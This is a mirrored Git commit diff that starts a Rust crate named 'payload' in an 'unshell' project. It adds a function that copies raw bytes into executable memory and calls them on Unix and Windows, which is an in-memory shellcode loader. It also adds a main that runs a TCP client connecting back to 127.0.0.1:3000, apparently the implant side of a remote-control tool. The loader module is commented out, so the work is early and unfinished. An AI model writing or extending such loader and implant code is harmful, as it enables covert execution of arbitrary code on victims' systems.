mirror of
https://github.com/Astatin3/unshell-nodes-rs.git
synced 2026-06-09 08:38:02 -06:00
Start working on structure
This commit is contained in:
@@ -0,0 +1,8 @@
|
||||
[package]
|
||||
name = "payload"
|
||||
version = "0.1.0"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
# libc = "0.2.172"
|
||||
unshell-rs = { path = "../" }
|
||||
@@ -0,0 +1,79 @@
|
||||
use std::error::Error;
|
||||
|
||||
#[allow(dead_code)]
|
||||
#[cfg(unix)]
|
||||
unsafe fn execute_in_memory(binary_data: &[u8]) -> Result<(), Box<dyn Error>> {
|
||||
use std::mem;
|
||||
|
||||
// Allocate executable memory
|
||||
let size = binary_data.len();
|
||||
let page_size = 4096; // Typical page size
|
||||
let aligned_size = (size + page_size - 1) & !(page_size - 1);
|
||||
|
||||
let ptr = libc::mmap(
|
||||
std::ptr::null_mut(),
|
||||
aligned_size,
|
||||
libc::PROT_READ | libc::PROT_WRITE,
|
||||
libc::MAP_PRIVATE | libc::MAP_ANONYMOUS,
|
||||
-1,
|
||||
0,
|
||||
);
|
||||
|
||||
if ptr == libc::MAP_FAILED {
|
||||
return Err(Box::new(std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
// Copy binary data to allocated memory
|
||||
std::ptr::copy_nonoverlapping(binary_data.as_ptr(), ptr as *mut u8, size);
|
||||
|
||||
// Make memory executable
|
||||
if libc::mprotect(ptr, aligned_size, libc::PROT_READ | libc::PROT_EXEC) != 0 {
|
||||
libc::munmap(ptr, aligned_size);
|
||||
return Err(Box::new(std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
// Cast to function pointer and execute
|
||||
// This assumes the binary is a simple executable that can be called as a function
|
||||
// For ELF binaries, you'd need proper ELF parsing and loading
|
||||
let func: extern "C" fn() = mem::transmute(ptr);
|
||||
|
||||
println!("Executing binary...");
|
||||
func();
|
||||
|
||||
// Clean up
|
||||
libc::munmap(ptr, aligned_size);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
unsafe fn execute_in_memory(binary_data: &[u8]) -> Result<(), Box<dyn Error>> {
|
||||
use std::mem;
|
||||
use std::ptr;
|
||||
|
||||
// Allocate executable memory
|
||||
let ptr = winapi::um::memoryapi::VirtualAlloc(
|
||||
ptr::null_mut(),
|
||||
binary_data.len(),
|
||||
winapi::um::winnt::MEM_COMMIT | winapi::um::winnt::MEM_RESERVE,
|
||||
winapi::um::winnt::PAGE_EXECUTE_READWRITE,
|
||||
);
|
||||
|
||||
if ptr.is_null() {
|
||||
return Err(Box::new(std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
// Copy binary data to allocated memory
|
||||
ptr::copy_nonoverlapping(binary_data.as_ptr(), ptr as *mut u8, binary_data.len());
|
||||
|
||||
// Cast to function pointer and execute
|
||||
let func: extern "C" fn() = mem::transmute(ptr);
|
||||
|
||||
println!("Executing binary...");
|
||||
func();
|
||||
|
||||
// Clean up
|
||||
winapi::um::memoryapi::VirtualFree(ptr, 0, winapi::um::winnt::MEM_RELEASE);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
// #[allow(unsafe_op_in_unsafe_fn)]
|
||||
// mod execute;
|
||||
|
||||
use std::error::Error;
|
||||
use unshell_rs::{
|
||||
networkers::{TCPClient, TCPConnection},
|
||||
payload::run_client,
|
||||
};
|
||||
|
||||
// /// Pipe streams are blocking, we need separate threads to monitor them without blocking the primary thread.
|
||||
// fn child_stream_to_vec<R>(mut stream: R) -> Arc<Mutex<Vec<u8>>>
|
||||
// where
|
||||
// R: Read + Send + 'static,
|
||||
// {
|
||||
// let out = Arc::new(Mutex::new(Vec::new()));
|
||||
// let vec = out.clone();
|
||||
|
||||
// }
|
||||
|
||||
fn main() -> Result<(), Box<dyn Error>> {
|
||||
run_client::<TCPConnection, TCPClient>("127.0.0.1:3000")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
Reference in New Issue
Block a user